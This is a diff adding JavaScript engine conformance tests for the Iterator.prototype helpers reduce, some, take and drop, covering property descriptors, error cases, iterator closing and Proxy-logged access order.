diff --git a/js/src/tests/non262/Iterator/prototype/reduce/check-fn-after-getting-iterator.js b/js/src/tests/non262/Iterator/prototype/reduce/check-fn-after-getting-iterator.js
new file mode 100644
index 0000000000..4e4852326a
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/check-fn-after-getting-iterator.js
@@ -0,0 +1,26 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class TestIterator extends Iterator {
+ next() {
+ return {done: true};
+ }
+}
+
+const iter = new Proxy(new TestIterator(), handlerProxy);
+assertThrowsInstanceOf(() => iter.reduce(1), TypeError);
+
+assertEq(
+ log.join('\n'),
+ `get: reduce
+get: next`
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/descriptor.js b/js/src/tests/non262/Iterator/prototype/reduce/descriptor.js
new file mode 100644
index 0000000000..0fb0ff01b3
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/descriptor.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ Descriptor property of Iterator.prototype.reduce
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype, 'reduce');
+assertEq(typeof propDesc.value, 'function');
+assertEq(propDesc.writable, true);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/empty-iterator-without-initial-value-throws.js b/js/src/tests/non262/Iterator/prototype/reduce/empty-iterator-without-initial-value-throws.js
new file mode 100644
index 0000000000..d8e0a595cf
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/empty-iterator-without-initial-value-throws.js
@@ -0,0 +1,7 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const iter = [].values();
+assertThrowsInstanceOf(() => iter.reduce((x, y) => x + y), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/error-from-correct-realm.js b/js/src/tests/non262/Iterator/prototype/reduce/error-from-correct-realm.js
new file mode 100644
index 0000000000..96634ba62b
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/error-from-correct-realm.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const otherGlobal = newGlobal({newCompartment: true});
+assertEq(TypeError !== otherGlobal.TypeError, true);
+
+const iter = [].values();
+
+assertThrowsInstanceOf(() => iter.reduce(), TypeError);
+assertThrowsInstanceOf(
+ otherGlobal.Iterator.prototype.reduce.bind(iter),
+ otherGlobal.TypeError,
+ 'TypeError comes from the realm of the method.',
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/iterator-empty-return-initial-value.js b/js/src/tests/non262/Iterator/prototype/reduce/iterator-empty-return-initial-value.js
new file mode 100644
index 0000000000..30c15a48fe
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/iterator-empty-return-initial-value.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const reducer = (x, y) => 0;
+const iterator = [].values();
+
+assertEq(iterator.reduce(reducer, 1), 1);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/iterator-next-return-non-object-throws.js b/js/src/tests/non262/Iterator/prototype/reduce/iterator-next-return-non-object-throws.js
new file mode 100644
index 0000000000..d77789f04a
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/iterator-next-return-non-object-throws.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestIterator extends Iterator {
+ constructor(value) {
+ super();
+ this.value = value;
+ }
+
+ next() {
+ return this.value;
+ }
+}
+
+const sum = (x, y) => x + y;
+
+let iter = new TestIterator(undefined);
+assertThrowsInstanceOf(() => iter.reduce(sum), TypeError);
+iter = new TestIterator(null);
+assertThrowsInstanceOf(() => iter.reduce(sum), TypeError);
+iter = new TestIterator(0);
+assertThrowsInstanceOf(() => iter.reduce(sum), TypeError);
+iter = new TestIterator(false);
+assertThrowsInstanceOf(() => iter.reduce(sum), TypeError);
+iter = new TestIterator('');
+assertThrowsInstanceOf(() => iter.reduce(sum), TypeError);
+iter = new TestIterator(Symbol(''));
+assertThrowsInstanceOf(() => iter.reduce(sum), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/left-associative.js b/js/src/tests/non262/Iterator/prototype/reduce/left-associative.js
new file mode 100644
index 0000000000..a6208504b6
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/left-associative.js
@@ -0,0 +1,7 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+assertEq([1, 2, 3].values().reduce((x, y) => `(${x}+${y})`, 0), '(((0+1)+2)+3)');
+assertEq([1, 2, 3].values().reduce((x, y) => `(${x}+${y})`), '((1+2)+3)');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/length.js b/js/src/tests/non262/Iterator/prototype/reduce/length.js
new file mode 100644
index 0000000000..0780e684a8
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/length.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ The `length` property of Iterator.prototype.reduce.
+info: |
+ ES7 section 17: Unless otherwise specified, the length property of a built-in
+ Function object has the attributes { [[Writable]]: false, [[Enumerable]]:
+ false, [[Configurable]]: true }.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype.reduce, 'length');
+assertEq(propDesc.value, 1);
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/name.js b/js/src/tests/non262/Iterator/prototype/reduce/name.js
new file mode 100644
index 0000000000..1269bb4b52
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/name.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ `name` property of Iterator.prototype.reduce.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype.reduce, 'name');
+assertEq(propDesc.value, 'reduce');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/next-throws-iterator-not-closed.js b/js/src/tests/non262/Iterator/prototype/reduce/next-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..0fbeb995f1
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/next-throws-iterator-not-closed.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestIterator extends Iterator {
+ next() {
+ throw new Error();
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const sum = (x, y) => x + y;
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+assertThrowsInstanceOf(() => iter.reduce(sum), Error);
+assertEq(iter.closed, false);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/no-initial-value-set-accumulator-to-first-value.js b/js/src/tests/non262/Iterator/prototype/reduce/no-initial-value-set-accumulator-to-first-value.js
new file mode 100644
index 0000000000..a2b0008e6a
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/no-initial-value-set-accumulator-to-first-value.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const reducer = (acc, value) => acc;
+const iterator = [1, 2, 3].values();
+
+assertEq(iterator.reduce(reducer), 1);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/proxy.js b/js/src/tests/non262/Iterator/prototype/reduce/proxy.js
new file mode 100644
index 0000000000..34569cf044
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/proxy.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+//
+// This test checks that %Iterator.prototype%.reduce only gets the `next` method off of the
+// iterator once, and never accesses the @@iterator property.
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class Counter extends Iterator {
+ value = 0;
+ next() {
+ const value = this.value;
+ if (value < 2) {
+ this.value = value + 1;
+ return {done: false, value};
+ }
+ return {done: true};
+ }
+}
+
+const iter = new Proxy(new Counter(), handlerProxy);
+iter.reduce((x, y) => x + y);
+
+assertEq(
+ log.join('\n'),
+ `get: reduce
+get: next
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value`
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/reduce.js b/js/src/tests/non262/Iterator/prototype/reduce/reduce.js
new file mode 100644
index 0000000000..d824da211d
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/reduce.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const reducer = (acc, value) => acc + value;
+const iterator = [1, 2, 3].values();
+
+assertEq(iterator.reduce(reducer, 0), 6);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/reducer-not-callable-throws.js b/js/src/tests/non262/Iterator/prototype/reduce/reducer-not-callable-throws.js
new file mode 100644
index 0000000000..c33e5e4f9c
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/reducer-not-callable-throws.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestIterator extends Iterator {
+ next() {
+ return { done: false, value: 0 };
+ }
+}
+
+const iter = new TestIterator();
+assertThrowsInstanceOf(() => iter.reduce(), TypeError);
+assertThrowsInstanceOf(() => iter.reduce(undefined), TypeError);
+assertThrowsInstanceOf(() => iter.reduce(null), TypeError);
+assertThrowsInstanceOf(() => iter.reduce(0), TypeError);
+assertThrowsInstanceOf(() => iter.reduce(false), TypeError);
+assertThrowsInstanceOf(() => iter.reduce(''), TypeError);
+assertThrowsInstanceOf(() => iter.reduce(Symbol('')), TypeError);
+assertThrowsInstanceOf(() => iter.reduce({}), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/reducer-throws-iterator-closed.js b/js/src/tests/non262/Iterator/prototype/reduce/reducer-throws-iterator-closed.js
new file mode 100644
index 0000000000..592fa80d17
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/reducer-throws-iterator-closed.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestIterator extends Iterator {
+ next() {
+ return { done: this.closed, value: undefined };
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const reducer = (x, y) => { throw new Error(); };
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+assertThrowsInstanceOf(() => iter.reduce(reducer), Error);
+assertEq(iter.closed, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/this-not-iterator-throws.js b/js/src/tests/non262/Iterator/prototype/reduce/this-not-iterator-throws.js
new file mode 100644
index 0000000000..d4804c51e2
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/this-not-iterator-throws.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const sum = (x, y) => x + y;
+assertThrowsInstanceOf(Iterator.prototype.reduce.bind(undefined, sum), TypeError);
+assertThrowsInstanceOf(Iterator.prototype.reduce.bind({}, sum), TypeError);
+assertThrowsInstanceOf(Iterator.prototype.reduce.bind({next: 0}, sum), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/value-throws-iterator-not-closed.js b/js/src/tests/non262/Iterator/prototype/reduce/value-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..7b43eedcc6
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/value-throws-iterator-not-closed.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestError extends Error {}
+class TestIterator extends Iterator {
+ next() {
+ return new Proxy({done: false}, {get: (target, key, receiver) => {
+ if (key === 'value')
+ throw new TestError();
+ return 0;
+ }});
+ }
+
+ closed = false;
+ return() {
+ closed = true;
+ }
+}
+
+const iterator = new TestIterator();
+assertEq(iterator.closed, false, 'iterator starts unclosed');
+assertThrowsInstanceOf(() => iterator.reduce((x, y) => x + y, 0), TestError);
+assertEq(iterator.closed, false, 'iterator remains unclosed');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/some/check-fn-after-getting-iterator.js b/js/src/tests/non262/Iterator/prototype/some/check-fn-after-getting-iterator.js
new file mode 100644
index 0000000000..f81f660916
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/some/check-fn-after-getting-iterator.js
@@ -0,0 +1,26 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class TestIterator extends Iterator {
+ next() {
+ return {done: true};
+ }
+}
+
+const iter = new Proxy(new TestIterator(), handlerProxy);
+assertThrowsInstanceOf(() => iter.some(1), TypeError);
+
+assertEq(
+ log.join('\n'),
+ `get: some
+get: next`
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/some/coerce-result-to-boolean.js b/js/src/tests/non262/Iterator/prototype/some/coerce-result-to-boolean.js
new file mode 100644
index 0000000000..5bebdb06ea
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/some/coerce-result-to-boolean.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const fn = (value) => value;
+assertEq([true].values().some(fn), true);
+assertEq([1].values().some(fn), true);
+assertEq([[]].values().some(fn), true);
+assertEq([{}].values().some(fn), true);
+assertEq(['test'].values().some(fn), true);
+
+assertEq([false].values().some(fn), false);
+assertEq([0].values().some(fn), false);
+assertEq([''].values().some(fn), false);
+assertEq([null].values().some(fn), false);
+assertEq([undefined].values().some(fn), false);
+assertEq([NaN].values().some(fn), false);
+assertEq([-0].values().some(fn), false);
+assertEq([0n].values().some(fn), false);
+
+const htmlDDA = createIsHTMLDDA();
+assertEq([htmlDDA].values().some(fn), false);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/some/descriptor.js b/js/src/tests/non262/Iterator/prototype/some/descriptor.js
new file mode 100644
index 0000000000..dfafc4aa5f
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/some/descriptor.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ Descriptor property of Iterator.prototype.some
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype, 'some');
+assertEq(typeof propDesc.value, 'function');
+assertEq(propDesc.writable, true);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/some/error-from-correct-realm.js b/js/src/tests/non262/Iterator/prototype/some/error-from-correct-realm.js
new file mode 100644
index 0000000000..ba68c6e7c1
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/some/error-from-correct-realm.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const otherGlobal = newGlobal({newCompartment: true});
+assertEq(TypeError !== otherGlobal.TypeError, true);
+
+const iter = [].values();
+
+assertThrowsInstanceOf(() => iter.some(), TypeError);
+assertThrowsInstanceOf(
+ otherGlobal.Iterator.prototype.some.bind(iter),
+ otherGlobal.TypeError,
+ 'TypeError comes from the realm of the method.',
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/some/fn-not-callable-throws.js b/js/src/tests/non262/Iterator/prototype/some/fn-not-callable-throws.js
new file mode 100644
index 0000000000..52be15391f
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/some/fn-not-callable-throws.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const iter = [].values();
+
+assertThrowsInstanceOf(() => iter.some(), TypeError);
+assertThrowsInstanceOf(() => iter.some(undefined), TypeError);
+assertThrowsInstanceOf(() => iter.some(null), TypeError);
+assertThrowsInstanceOf(() => iter.some(0), TypeError);
+assertThrowsInstanceOf(() => iter.some(false), TypeError);
+assertThrowsInstanceOf(() => iter.some(''), TypeError);
+assertThrowsInstanceOf(() => iter.some(Symbol('')), TypeError);
+assertThrowsInstanceOf(() => iter.some({}), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/some/fn-throws-close-iterator.js b/js/src/tests/non262/Iterator/prototype/some/fn-throws-close-iterator.js
new file mode 100644
index 0000000000..bbe751e175
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/some/fn-throws-close-iterator.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestIterator extends Iterator {
+ next() {
+ return { done: this.closed };
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const fn = () => { throw new Error(); };
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+assertThrowsInstanceOf(() => iter.some(fn), Error);
+assertEq(iter.closed, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/some/length.js b/js/src/tests/non262/Iterator/prototype/some/length.js
new file mode 100644
index 0000000000..c9d1f986f6
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/some/length.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ The `length` property of Iterator.prototype.some.
+info: |
+ ES7 section 17: Unless otherwise specified, the length property of a built-in
+ Function object has the attributes { [[Writable]]: false, [[Enumerable]]:
+ false, [[Configurable]]: true }.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype.some, 'length');
+assertEq(propDesc.value, 1);
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/some/name.js b/js/src/tests/non262/Iterator/prototype/some/name.js
new file mode 100644
index 0000000000..679e75460c
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/some/name.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ `name` property of Iterator.prototype.some.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype.some, 'name');
+assertEq(propDesc.value, 'some');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/some/next-throws-iterator-not-closed.js b/js/src/tests/non262/Iterator/prototype/some/next-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..4bdf372908
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/some/next-throws-iterator-not-closed.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestIterator extends Iterator {
+ next() {
+ throw new Error();
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const fn = () => {};
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+assertThrowsInstanceOf(() => iter.some(fn), Error);
+assertEq(iter.closed, false);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/some/proxy.js b/js/src/tests/non262/Iterator/prototype/some/proxy.js
new file mode 100644
index 0000000000..a444a2d5cb
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/some/proxy.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+//
+// This test checks that %Iterator.prototype%.some only gets the `next` method off of the
+// iterator once, and never accesses the @@iterator property.
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class Counter extends Iterator {
+ value = 0;
+ next() {
+ const value = this.value;
+ if (value < 2) {
+ this.value = value + 1;
+ return {done: false, value};
+ }
+ return {done: true};
+ }
+}
+
+const iter = new Proxy(new Counter(), handlerProxy);
+assertEq(iter.some(x => x % 2 == 1), true);
+
+assertEq(
+ log.join('\n'),
+ `get: some
+get: next
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: return`
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/some/return-false-if-none-match.js b/js/src/tests/non262/Iterator/prototype/some/return-false-if-none-match.js
new file mode 100644
index 0000000000..00fab94245
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/some/return-false-if-none-match.js
@@ -0,0 +1,11 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const iter = [1, 3, 5].values();
+const fn = (value) => value % 2 == 0;
+
+assertEq(iter.some(fn), false);
+
+assertEq([].values().some(x => x), false);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/some/short-circuit-on-true.js b/js/src/tests/non262/Iterator/prototype/some/short-circuit-on-true.js
new file mode 100644
index 0000000000..4f0d67bf09
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/some/short-circuit-on-true.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const iter = [1, 2, 3].values();
+const log = [];
+const fn = (value) => {
+ log.push(value.toString());
+ return value % 2 == 0;
+};
+
+assertEq(iter.some(fn), true);
+assertEq(log.join(','), '1,2');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/some/this-not-iterator-throws.js b/js/src/tests/non262/Iterator/prototype/some/this-not-iterator-throws.js
new file mode 100644
index 0000000000..0659ec037e
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/some/this-not-iterator-throws.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const fn = x => x;
+assertThrowsInstanceOf(Iterator.prototype.some.bind(undefined, fn), TypeError);
+assertThrowsInstanceOf(Iterator.prototype.some.bind({}, fn), TypeError);
+assertThrowsInstanceOf(Iterator.prototype.some.bind({next: 0}, fn), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/some/value-throws-iterator-not-closed.js b/js/src/tests/non262/Iterator/prototype/some/value-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..87bf5df033
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/some/value-throws-iterator-not-closed.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestError extends Error {}
+class TestIterator extends Iterator {
+ next() {
+ return new Proxy({done: false}, {get: (target, key, receiver) => {
+ if (key === 'value')
+ throw new TestError();
+ return 0;
+ }});
+ }
+
+ closed = false;
+ return() {
+ closed = true;
+ }
+}
+
+const iterator = new TestIterator();
+assertEq(iterator.closed, false, 'iterator starts unclosed');
+assertThrowsInstanceOf(() => iterator.some(x => x), TestError);
+assertEq(iterator.closed, false, 'iterator remains unclosed');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/take-drop-throw-eagerly-on-negative.js b/js/src/tests/non262/Iterator/prototype/take-drop-throw-eagerly-on-negative.js
new file mode 100644
index 0000000000..b870e31e72
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/take-drop-throw-eagerly-on-negative.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: `take` and `drop` throw eagerly when passed negative numbers, after rounding towards 0.
+info: >
+ Iterator Helpers proposal 2.1.5.4 and 2.1.5.5
+features: [iterator-helpers]
+---*/
+
+const iter = [].values();
+const methods = [
+ value => iter.take(value),
+ value => iter.drop(value),
+];
+
+for (const method of methods) {
+ assertThrowsInstanceOf(() => method(-1), RangeError);
+ assertThrowsInstanceOf(() => method(-Infinity), RangeError);
+
+ method(NaN);
+ method(-NaN);
+ method(-0);
+ method(-0.9);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/take-drop-throw-eagerly-on-non-integer.js b/js/src/tests/non262/Iterator/prototype/take-drop-throw-eagerly-on-non-integer.js
new file mode 100644
index 0000000000..3e1333ab37
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/take-drop-throw-eagerly-on-non-integer.js
@@ -0,0 +1,32 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: `take` and `drop` throw eagerly when passed values that can't be converted to numbers.
+info: >
+ Iterator Helpers proposal 2.1.5.4 and 2.1.5.5
+features: [iterator-helpers]
+---*/
+
+const iter = [].values();
+const methods = [
+ value => iter.take(value),
+ value => iter.drop(value),
+];
+
+const objectWithToPrimitive = {
+ [Symbol.toPrimitive]() {
+ return {};
+ }
+};
+
+for (const method of methods) {
+ assertThrowsInstanceOf(() => method(0n), TypeError);
+ assertThrowsInstanceOf(() => method(Symbol('')), TypeError);
+ assertThrowsInstanceOf(() => method(objectWithToPrimitive), TypeError);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/take/close-iterator-when-none-remaining.js b/js/src/tests/non262/Iterator/prototype/take/close-iterator-when-none-remaining.js
new file mode 100644
index 0000000000..1c78db378b
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/take/close-iterator-when-none-remaining.js
@@ -0,0 +1,40 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: %Iterator.prototype%.take closes the iterator when remaining is 0.
+info: >
+ Iterator Helpers proposal 2.1.5.4
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends Iterator {
+ next() {
+ return {done: false, value: 1};
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+const iter = new TestIterator();
+const iterTake = iter.take(1);
+
+let result = iterTake.next();
+assertEq(result.done, false);
+assertEq(result.value, 1);
+assertEq(iter.closed, false);
+
+result = iterTake.next();
+assertEq(result.done, true);
+assertEq(result.value, undefined);
+assertEq(iter.closed, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
+
